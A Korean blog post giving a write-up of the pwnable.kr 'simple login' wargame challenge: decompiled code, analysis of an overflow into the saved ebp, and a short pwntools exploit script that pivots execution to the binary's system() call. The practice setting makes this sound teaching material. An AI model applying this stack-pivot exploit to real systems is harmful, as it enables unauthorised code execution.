tmxklab
[pwnable.kr] simple login 본문
1. 문제확인
1) mitigation 확인
statically linked
2) 문제 확인
입력 값을 받고 hash값을 출력해주는 것 같다.
3) 코드흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int dec_val; // [esp+18h] [ebp-28h]
char enc_val; // [esp+1Eh] [ebp-22h]
unsigned int len; // [esp+3Ch] [ebp-4h]
memset(&enc_val, 0, 0x1Eu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", &enc_val);
memset(&input, 0, 0xCu);
dec_val = 0;
len = Base64Decode(&enc_val, &dec_val);
if ( len > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, dec_val, len);
if ( auth(len) == 1 )
correct();
}
return 0;
}
- s에 base64로 인코딩된 input값이 들어가고 Base64Decode()에 의해 v4에는 input값을 base64로 디코딩된 값이 저장되며 리턴 값에는 디코딩된 값의 길이가 반환되어 v6에 저장된다.
- 그리고 디코딩된 값은 전역변수인 input변수에도 들어간다.
- 목표는 디코딩된 길이가 0xc보다 작고 auth()의 리턴 값이 참이되어 correct()를 호출해줘야 한다.
3-2) auth()
_BOOL4 __cdecl auth(int a1)
{
char v2; // [esp+14h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h]
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5(&v2, 12);
printf("hash : %s\n", (char)s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
- 로직은 간단하게 아까 받은 input값을 v4로 복사한 뒤 md5로 변환하여 "f87cd601aa7fedca99018a8be88eda34"문자열과 같은지 비교하여 리턴한다.
2. 접근 방법
입력 값의 길이는 최대 0xc만큼 넣을 수 있으므로 테스트로 "AAAABBBBCCCC"를 넣고 디버깅해보자
- auth()에서 memcpy()를 호출한 뒤의 상황이다. 현재 ebp가 가리키는 스택 주소에 "CCCC"값이 들어간 것을 확인할 수 있다.
- 다시 main()로 돌아와 확인한 결과 ebp에 "CCCC"값이 존재함을 확인
결국, ebp값을 control할 수 있으며 이를 잘 이용하여 ret위치에 correct()의 system()를 호출하는 루틴으로 변경할 수 있을 것이다. (전역변수 input활용)
payload = [ dummy(0x4) ] + [ correct주소(0x4) ] + [ input 주소(0x4) ]
3. 문제 풀이
1) 익스코드
from pwn import *
import base64
context.log_level = "debug"
#p = process("./login")
p = remote("pwnable.kr", 9003)
#gdb.attach(p)
payload = "AAAA" + p32(0x8049284) + p32(0x811eb40)
payload = base64.b64encode(payload)
p.sendlineafter(" : ", payload)
p.interactive()
2) 실행결과
'War Game > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] ascii_easy (0) | 2021.06.07 |
---|---|
[pwnable.kr] otp (0) | 2021.06.07 |
[pwnable.kr] md5 calculator (0) | 2021.01.15 |
[pwnable.kr] brain fuck (0) | 2021.01.14 |
[pwnable.kr] horcruxes (0) | 2020.12.02 |
Comments